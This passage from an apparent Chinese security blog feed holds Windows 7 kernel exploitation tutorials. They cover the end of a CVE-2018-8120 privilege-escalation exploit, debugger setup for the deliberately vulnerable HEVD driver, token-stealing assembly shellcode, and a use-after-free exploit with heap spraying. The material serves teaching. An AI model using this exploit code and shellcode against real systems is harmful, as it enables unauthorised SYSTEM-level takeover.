偏移处刚好不为零，所以我们考虑如下构造，把<code>tagKL-&gt;piiex</code>赋值为<code>pManagerPrvScan0</code>，把<code>tagKL-&gt;hkl</code>赋值为<code>pWorkerPrvScan0</code>，为了使传入的<code>piiex</code>与我们的<code>tagKL-&gt;hkl</code>相等，我们将其构造为<code>pWorkerPrvScan0</code>的结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">DWORD* faketagKL = (DWORD*)<span class="number">0x0</span>;</span><br><span class="line"><span class="comment">// 手动构造 pWorkerPrvScan0 结构</span></span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0x0</span>) =  pWorkerPrvScan0;</span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0x4</span>) =  <span class="number">0x104</span>;</span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0x8</span>) =  <span class="number">0x00001b97</span>;</span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0xC</span>) =  <span class="number">0x00000003</span>;</span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0x10</span>) = <span class="number">0x00010000</span>;</span><br><span class="line">*(DWORD*)((PBYTE)&amp; fakepiiex + <span class="number">0x18</span>) = <span class="number">0x04800200</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] piiex address is : 0x%p\n"</span>, fakepiiex); <span class="comment">// pWorkerPrvScan0</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] &amp;piiex address is : 0x%p\n"</span>, &amp;fakepiiex);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+] faketagKL address is : 0x%p\n"</span>, faketagKL);</span><br><span class="line"><span class="comment">// 绕过检验</span></span><br><span class="line">*(DWORD*)((PUCHAR)faketagKL + <span class="number">0x14</span>) = pWorkerPrvScan0;  <span class="comment">// tagKL-&gt;hkl</span></span><br><span class="line">*(DWORD*)((PUCHAR)faketagKL + <span class="number">0x2c</span>) = pManagerPrvScan0; <span class="comment">// tagKL-&gt;piiex</span></span><br><span class="line">xxNtUserSetImeInfoEx(&amp;fakepiiex); <span class="comment">// 拷贝函数实现 pManagerPrvScan0-&gt;pWorkerPrvScan0</span></span><br></pre></td></tr></table></figure><p>在<code>xxNtUserSetImeInfoEx</code>函数之后下断点你会发现已经实现了<code>pManagerPrvScan0-&gt;pWorkerPrvScan0</code>，这时我们就可以尽情的任意读写了</p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/7.png" alt="1565435583152"></p><h2 id="GetShell"><a href="#GetShell" class="headerlink" title="GetShell"></a>GetShell</h2><p>最后提权的过程还是和以前一样，覆盖<code>HalDispatchTable+0x4</code>函数指针，然后调用<code>NtQueryIntervalProfile</code>函数达到运行shellcode的目的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">GetShell</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD interVal = <span class="number">0</span>;</span><br><span class="line">DWORD32 halHooked = GetHalOffset_4();</span><br><span class="line"></span><br><span class="line">NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA(<span class="string">"ntdll.dll"</span>), <span class="string">"NtQueryIntervalProfile"</span>);</span><br><span class="line"><span class="comment">//__debugbreak();</span></span><br><span class="line">writeOOB(halHooked, (PVOID)&amp; ShellCode, <span class="keyword">sizeof</span>(DWORD32));</span><br><span class="line"><span class="comment">// 1. hManagerPrvScan0-&gt;hworkerPrvScan0-&gt;HalDispatchTable+0x4</span></span><br><span class="line"><span class="comment">// 2. hManagerPrvScan0-&gt;hworkerPrvScan0-&gt;HalDispatchTable+0x4-&gt;shellcode</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 执行shellcode</span></span><br><span class="line">NtQueryIntervalProfile(<span class="number">0x1234</span>, &amp;interVal);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最终整合一下思路和代码我们就可以提权了(不要在意这盗版的win 7…)，效果如下，详细的代码参考 =&gt; <a href>这里</a></p><p><img src="/2019/08/17/CVE-2018-8120-Windows内核空指针解引用漏洞分析/2018-8120.gif" alt="2018-8120"></p><h1 id="0x04：后记"><a href="#0x04：后记" class="headerlink" title="0x04：后记"></a>0x04：后记</h1><p>这个漏洞也可以在win 7 x64下利用，后续我会考虑把64位的利用代码完善一下，思路都差不多，主要修改的地方是偏移和汇编代码的嵌入问题，这个漏洞主要是在零页的构造，如果在win 8中就很难利用，毕竟没有办法在零页申请内存</p><p>参考资料：</p><p>[+] <a href="https://www.freebuf.com/vuls/174183.html" target="_blank" rel="noopener">https://www.freebuf.com/vuls/174183.html</a></p><p>[+] <a href="https://xiaodaozhi.com/exploit/149.html" target="_blank" rel="noopener">https://xiaodaozhi.com/exploit/149.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;2018年5月微软发布了一次安全补丁，其中有一个是对内核空指针解引用的修复，本片文章从补丁对比出发，
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Null Pointer Dereference" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Null-Pointer-Dereference/"/>
    
    
      <category term="Null Pointer Dereference" scheme="https://thunderjie.github.io/tags/Null-Pointer-Dereference/"/>
    
  </entry>
  
  <entry>
    <title>Windows-Kernel-Exploit</title>
    <link href="https://thunderjie.github.io/2019/06/28/Windows-Kernel-Exploit/"/>
    <id>https://thunderjie.github.io/2019/06/28/Windows-Kernel-Exploit/</id>
    <published>2019-06-28T15:08:10.000Z</published>
    <updated>2020-05-07T03:27:01.270Z</updated>
    
    <content type="html"><![CDATA[<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><h2 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h2><p>这一系列文章是记录我在Windows内核漏洞学习的过程，我把他们整合成了一篇，覆盖了大部分漏洞的类型，既然是第0篇，那肯定是着重点放在环境的搭建和介绍，我的打算是先把HEVD中的大部分漏洞走一遍，实验环境是在Windows  7 x86 sp1，你需要安装的主要内容如下：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>windbg + virtualKD 调试环境</li><li><a href="https://www.osronline.com/article.cfm%5earticle=157.htm" target="_blank" rel="noopener">OSR驱动加载工具</a> + <a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver" target="_blank" rel="noopener">HEVD 驱动程序</a></li></ul><h2 id="0x01：环境安装"><a href="#0x01：环境安装" class="headerlink" title="0x01：环境安装"></a>0x01：环境安装</h2><p>下面我简要说一下环境的配置，配置环境是一件麻烦的事情，不同的时期会有不同的新工具和版本，我们需要的东西只是一个虚拟机，调试器和驱动加载工具，所以如果下面的方法你不能得到理想的效果，可以参考许多其他最新的文章</p><h3 id="windbg"><a href="#windbg" class="headerlink" title="windbg"></a>windbg</h3><p>我们第一步需要准备的就是一个Windows7 x86 sp1的虚拟机了，虚拟机就不多解释如何安装了，当你安装好了虚拟机之后你还需要安装一个内核调试工具windbg，如果你是一个 pwn 选手，那你肯定熟悉 gdb 调试，如果你是 reverse 选手，那你肯定熟悉 OD 调试，但是我们现在是对内核调试，需要用windbg调试，建议使用<a href="https://www.microsoft.com/zh-cn/p/windbg-preview/9pgjgd53tn86?rtc=1&amp;activetab=pivot:overviewtab" target="_blank" rel="noopener">windbg官方预览版</a>，进去之后点击获取就会在微软官方应用商城下载<br><img src="/2019/06/28/Windows-Kernel-Exploit/1.png" alt></p><p>下载之后我们需要对符号路径进行设置，这是我自己的设置，根据自己HEVD的路径不同，选择填入自己的路径</p><p> <img src="/2019/06/28/Windows-Kernel-Exploit/2.png" alt></p><p>下面是我的路径信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C:\ Symbols</span><br><span class="line"> SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols</span><br><span class="line"></span><br><span class="line">srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols</span><br><span class="line">D:\kernel study\kernel base tools\HEVD\i386</span><br><span class="line">SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols</span><br></pre></td></tr></table></figure><h3 id="VirtualKD"><a href="#VirtualKD" class="headerlink" title="VirtualKD"></a>VirtualKD</h3><p>VirtualKD 在<a href="http://sysprogs.com/legacy/virtualkd/" target="_blank" rel="noopener">这里</a>下载，下载完之后我们打开 Virtual Machine monitor ，点击 Debugger path 之后选择我们调试器的路径就可以用了</p><p> <img src="/2019/06/28/Windows-Kernel-Exploit/3.png" alt></p><p>双击调试的过程动态图在这里</p><p> <img src="/2019/06/28/Windows-Kernel-Exploit/4.gif" alt></p><h3 id="HEVD-OSR-loader"><a href="#HEVD-OSR-loader" class="headerlink" title="HEVD + OSR loader"></a>HEVD + OSR loader</h3><p>安装之后按如下操作即可加载HEVD驱动，开启服务</p><p> <img src="/2019/06/28/Windows-Kernel-Exploit/5.gif" alt></p><h3 id="准备就绪"><a href="#准备就绪" class="headerlink" title="准备就绪"></a>准备就绪</h3><p>当上面的步骤都做完时，用windbg打印<code>lm m H*</code>命令，点击蓝色的HEVD，再点击蓝色的Browse all global symbols，能解析出地址就说明一切准备就绪，如下图</p><p> <img src="/2019/06/28/Windows-Kernel-Exploit/6.png" alt></p><h2 id="0x02：后续"><a href="#0x02：后续" class="headerlink" title="0x02：后续"></a>0x02：后续</h2><p>后面的文章我们会用HEVD来构造各种漏洞环境，依次在Windows 7 x86 sp1下感受Windows的pwn和Linux的有何区别，如果你不知道该准备些什么知识的时候，试着去了解一些驱动相关的知识，当然逆向的基础不能少，你需要掌握一些基本的汇编语言，准备的过程可能会出现许许多多奇怪的问题，这个时候就需要你去慢慢百度解决了，一定要有耐心，还有一些基础的工具你也需要提前准备好(IDA，VS，源码查看工具等等)</p><h1 id="0x03：UAF"><a href="#0x03：UAF" class="headerlink" title="0x03：UAF"></a>0x03：UAF</h1><p>这是我总结的Windows kernel exploit系列的第一部分，前一篇我们讲了环境的配置，这一篇从简单的UAF入手，第一篇我尽量写的详细一些，实验环境是Windows 7 x86 sp1，研究内核漏洞是一件令人兴奋的事情，希望能通过文章遇到更多志同道合的朋友，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理"><a href="#0x01：漏洞原理" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="提权原理"><a href="#提权原理" class="headerlink" title="提权原理"></a>提权原理</h3><p>首先我们要明白一个道理，运行一个普通的程序在正常情况下是没有系统权限的，但是往往在一些漏洞利用中，我们会想要让一个普通的程序达到很高的权限就比如系统权限，下面做一个实验，我们在虚拟机中用普通权限打开一个cmd然后断下来，用<code>!dml_proc</code>命令查看当前进程的信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; !dml_proc</span><br><span class="line">Address  PID  Image file name</span><br><span class="line">865ce8a8 4    System         </span><br><span class="line">87aa9970 10c  smss.exe       </span><br><span class="line">880d4d40 164  csrss.exe      </span><br><span class="line">881e6200 198  wininit.exe    </span><br><span class="line">881e69e0 1a0  csrss.exe      </span><br><span class="line">...</span><br><span class="line">87040ca0 bc0  cmd.exe</span><br></pre></td></tr></table></figure><p>我们可以看到<code>System</code>的地址是 865ce8a8 ，<code>cmd</code>的地址是 87040ca0 ，我们可以通过下面的方式查看地址中的成员信息，这里之所以 +f8 是因为<code>token</code>的位置是在进程偏移为 0xf8 的地方，也就是<code>Value</code>的值，那么什么是<code>token</code>?你可以把它比做等级，不同的权限等级不同，比如系统权限等级是5级(最高)，那么普通权限就好比是1级，我们可以通过修改我们的等级达到系统的5级权限，这也就是提权的基本原理，如果我们可以修改进程的<code>token</code>为系统的<code>token</code>，那么就可以提权成功，我们手动操作一次下面是修改前<code>token</code>值的对比</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; dt nt!_EX_FAST_REF 865ce8a8+f8</span><br><span class="line">   +0x000 Object           : 0x8a201275 Void</span><br><span class="line">   +0x000 RefCnt           : 0y101</span><br><span class="line">   +0x000 Value            : 0x8a201275 // system token</span><br><span class="line">kd&gt; dt nt!_EX_FAST_REF 87040ca0+f8</span><br><span class="line">   +0x000 Object           : 0x944a2c02 Void</span><br><span class="line">   +0x000 RefCnt           : 0y010</span><br><span class="line">   +0x000 Value            : 0x944a2c02 // cmd token</span><br></pre></td></tr></table></figure><p>我们通过ed命令修改cmd token的值为system token</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; ed 87040ca0+f8 8a201275</span><br><span class="line">kd&gt; dt nt!_EX_FAST_REF 87040ca0+f8</span><br><span class="line">   +0x000 Object           : 0x8a201275 Void</span><br><span class="line">   +0x000 RefCnt           : 0y101</span><br><span class="line">   +0x000 Value            : 0x8a201275</span><br></pre></td></tr></table></figure><p>用<code>whoami</code>命令发现权限已经变成了系统权限</p><p><img src="/2019/06/28/Windows-Kernel-Exploit/7.png" alt="1"></p><p>我们将上面的操作变为汇编的形式如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">void ShellCode()</span><br><span class="line">&#123;</span><br><span class="line">    _asm </span><br><span class="line">    &#123;</span><br><span class="line">        nop</span><br><span class="line">        nop</span><br><span class="line">        nop</span><br><span class="line">        nop</span><br><span class="line">        pushad</span><br><span class="line">        mov eax,fs:[124h]// 找到当前线程的_KTHREAD结构</span><br><span class="line">        mov eax, [eax + 0x50]    // 找到_EPROCESS结构</span><br><span class="line">        mov ecx, eax</span><br><span class="line">        mov edx, 4    // edx = system PID(4)</span><br><span class="line"></span><br><span class="line">        // 循环是为了获取system的_EPROCESS</span><br><span class="line">    find_sys_pid:</span><br><span class="line">        mov eax, [eax + 0xb8]// 找到进程活动链表</span><br><span class="line">        sub eax, 0xb8    // 链表遍历</span><br><span class="line">        cmp [eax + 0xb4], edx    // 根据PID判断是否为SYSTEM</span><br><span class="line">        jnz find_sys_pid</span><br><span class="line"></span><br><span class="line">        // 替换Token</span><br><span class="line">        mov edx, [eax + 0xf8]</span><br><span class="line">        mov [ecx + 0xf8], edx</span><br><span class="line">        popad</span><br><span class="line">        ret</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>解释一下上面的代码，fs寄存器在Ring0中指向一个称为KPCR的数据结构，即FS段的起点与 KPCR 结构对齐，而在Ring0中fs寄存器一般为0x30，这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大，在此就不列出来了。查看其数据结构可以看到第四个字节指向<code>CurrentThead</code>(KTHREAD类型)。这样fs:[124]其实是指向当前线程的<code>_KTHREAD</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; dt nt!_KPCR</span><br><span class="line">   +0x000 NtTib            : _NT_TIB</span><br><span class="line">   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD</span><br><span class="line">   +0x004 Used_StackBase   : Ptr32 Void</span><br><span class="line">   +0x008 Spare2           : Ptr32 Void</span><br><span class="line">   +0x00c TssCopy          : Ptr32 Void</span><br><span class="line">   +0x010 ContextSwitches  : Uint4B</span><br><span class="line">   +0x014 SetMemberCopy    : Uint4B</span><br><span class="line">   +0x018 Used_Self        : Ptr32 Void</span><br><span class="line">   +0x01c SelfPcr          : Ptr32 _KPCR</span><br><span class="line">   +0x020 Prcb             : Ptr32 _KPRCB</span><br><span class="line">   +0x024 Irql             : UChar</span><br><span class="line">   +0x028 IRR              : Uint4B</span><br><span class="line">   +0x02c IrrActive        : Uint4B</span><br><span class="line">   +0x030 IDR              : Uint4B</span><br><span class="line">   +0x034 KdVersionBlock   : Ptr32 Void</span><br><span class="line">   +0x038 IDT              : Ptr32 _KIDTENTRY</span><br><span class="line">   +0x03c GDT              : Ptr32 _KGDTENTRY</span><br><span class="line">   +0x040 TSS              : Ptr32 _KTSS</span><br><span class="line">   +0x044 MajorVersion     : Uint2B</span><br><span class="line">   +0x046 MinorVersion     : Uint2B</span><br><span class="line">   +0x048 SetMember        : Uint4B</span><br><span class="line">   +0x04c StallScaleFactor : Uint4B</span><br><span class="line">   +0x050 SpareUnused      : UChar</span><br><span class="line">   +0x051 Number           : UChar</span><br><span class="line">   +0x052 Spare0           : UChar</span><br><span class="line">   +0x053 SecondLevelCacheAssociativity : UChar</span><br><span class="line">   +0x054 VdmAlert         : Uint4B</span><br><span class="line">   +0x058 KernelReserved   : [14] Uint4B</span><br><span class="line">   +0x090 SecondLevelCacheSize : Uint4B</span><br><span class="line">   +0x094 HalReserved      : [16] Uint4B</span><br><span class="line">   +0x0d4 InterruptMode    : Uint4B</span><br><span class="line">   +0x0d8 Spare1           : UChar</span><br><span class="line">   +0x0dc KernelReserved2  : [17] Uint4B</span><br><span class="line">   +0x120 PrcbData         : _KPRCB</span><br></pre></td></tr></table></figure><p>再来看看<code>_EPROCESS</code>的结构，+0xb8处是进程活动链表，用于储存当前进程的信息，我们通过对它的遍历，可以找到system的<code>token</code>，我们知道system的PID一直是4，通过这一点我们就可以遍历了，遍历到系统<code>token</code>之后替换就行了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; dt nt!_EPROCESS</span><br><span class="line">   +0x000 Pcb              : _KPROCESS</span><br><span class="line">   +0x098 ProcessLock      : _EX_PUSH_LOCK</span><br><span class="line">   +0x0a0 CreateTime       : _LARGE_INTEGER</span><br><span class="line">   +0x0a8 ExitTime         : _LARGE_INTEGER</span><br><span class="line">   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF</span><br><span class="line">   +0x0b4 UniqueProcessId  : Ptr32 Void</span><br><span class="line">   +0x0b8 ActiveProcessLinks : _LIST_ENTRY</span><br><span class="line">   +0x0c0 ProcessQuotaUsage : [2] Uint4B</span><br><span class="line">   +0x0c8 ProcessQuotaPeak : [2] Uint4B</span><br><span class="line">   +0x0d0 CommitCharge     : Uint4B</span><br><span class="line">   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK</span><br><span class="line">   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK</span><br><span class="line">   +0x0dc PeakVirtualSize  : Uint4B</span><br><span class="line">   +0x0e0 VirtualSize      : Uint4B</span><br><span class="line">   +0x0e4 SessionProcessLinks : _LIST_ENTRY</span><br><span class="line">   +0x0ec DebugPort        : Ptr32 Void</span><br><span class="line">   ...</span><br><span class="line">   +0x2b8 SmallestTimerResolution : Uint4B</span><br><span class="line">   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD</span><br></pre></td></tr></table></figure><h3 id="UAF原理"><a href="#UAF原理" class="headerlink" title="UAF原理"></a>UAF原理</h3><p>如果你是一个pwn选手，那么肯定很清楚UAF的原理，简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况：</p><ul><li>内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。</li><li>内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。</li><li>内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。</li></ul><p>而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制，Windows下的内存申请也是有规律的，我们知道<code>ExAllocatePoolWithTag</code>函数中申请的内存并不是胡乱申请的，操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话，在源码中你会发现在<code>UseUaFObject</code>中存在<code>g_UseAfterFreeObject-&gt;Callback();</code>的片段，如果我们将<code>Callback</code>覆盖为<code>shellcode</code>就可以提权了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">USE_AFTER_FREE</span> &#123;</span></span><br><span class="line">    FunctionPointer Callback;</span><br><span class="line">    CHAR Buffer[<span class="number">0x54</span>];</span><br><span class="line">&#125; USE_AFTER_FREE, *PUSE_AFTER_FREE;</span><br><span class="line"></span><br><span class="line">PUSE_AFTER_FREE g_UseAfterFreeObject = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">NTSTATUS <span class="title">UseUaFObject</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    NTSTATUS Status = STATUS_UNSUCCESSFUL;</span><br><span class="line"></span><br><span class="line">    PAGED_CODE();</span><br><span class="line"></span><br><span class="line">    __try &#123;</span><br><span class="line">        <span class="keyword">if</span> (g_UseAfterFreeObject) &#123;</span><br><span class="line">            DbgPrint(<span class="string">"[+] Using UaF Object\n"</span>);</span><br><span class="line">            DbgPrint(<span class="string">"[+] g_UseAfterFreeObject: 0x%p\n"</span>, g_UseAfterFreeObject);</span><br><span class="line">            DbgPrint(<span class="string">"[+] g_UseAfterFreeObject-&gt;Callback: 0x%p\n"</span>, g_UseAfterFreeObject-&gt;Callback);</span><br><span class="line">            DbgPrint(<span class="string">"[+] Calling Callback\n"</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (g_UseAfterFreeObject-&gt;Callback) &#123;</span><br><span class="line">                g_UseAfterFreeObject-&gt;Callback(); <span class="comment">// g_UseAfterFreeObject-&gt;shellcode();</span></span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            Status = STATUS_SUCCESS;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    __except (EXCEPTION_EXECUTE_HANDLER) &#123;</span><br><span class="line">        Status = GetExceptionCode();</span><br><span class="line">        DbgPrint(<span class="string">"[-] Exception Code: 0x%X\n"</span>, Status);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> Status;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="0x02：漏洞利用"><a href="#0x02：漏洞利用" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h3><p>如果我们一开始申请堆的大小和UAF中堆的大小相同，那么就可能申请到我们的这块内存，假如我们又提前构造好了这块内存中的数据，那么当最后释放的时候就会指向我们shellcode的位置，从而达到提取的效果。但是这里有个问题，我们电脑中有许许多多的空闲内存，如果我们只构造一块假堆，我们并不能保证刚好能够用到我们的这块内存，所以我们就需要构造很多个这种堆，换句话说就是<code>堆海战术</code>吧，如果你看过0day安全这本书，里面说的堆喷射也就是这个原理。</p><h3 id="利用代码"><a href="#利用代码" class="headerlink" title="利用代码"></a>利用代码</h3><p>根据上面我们已经得到提权的代码，相当于我们只有子弹没有枪，这样肯定是不行的，我们首先伪造环境</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">FAKE_USE_AFTER_FREE</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">FunctionPointer countinter;</span><br><span class="line"><span class="keyword">char</span> bufffer[<span class="number">0x54</span>];</span><br><span class="line">&#125;FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;</span><br><span class="line"></span><br><span class="line">PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(FAKE_USE_AFTER_FREE));</span><br><span class="line">fakeG_UseAfterFree-&gt;countinter = ShellCode;</span><br><span class="line">RtlFillMemory(fakeG_UseAfterFree-&gt;bufffer, <span class="keyword">sizeof</span>(fakeG_UseAfterFree-&gt;bufffer), <span class="string">'A'</span>);</span><br></pre></td></tr></table></figure><p>接下来我们进行堆喷射</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5000</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// 调用 AllocateFakeObject() 对象</span></span><br><span class="line">    DeviceIoControl(hDevice, <span class="number">0x22201F</span>, fakeG_UseAfterFree, <span class="number">0x60</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;recvBuf, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>你可能会疑惑上面的IO控制码是如何得到的，这是通过逆向分析<code>IrpDeviceIoCtlHandler</code>函数得到的，我们通过<code>DeviceIoControl</code>函数实现对驱动中函数的调用，下面原理相同</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td 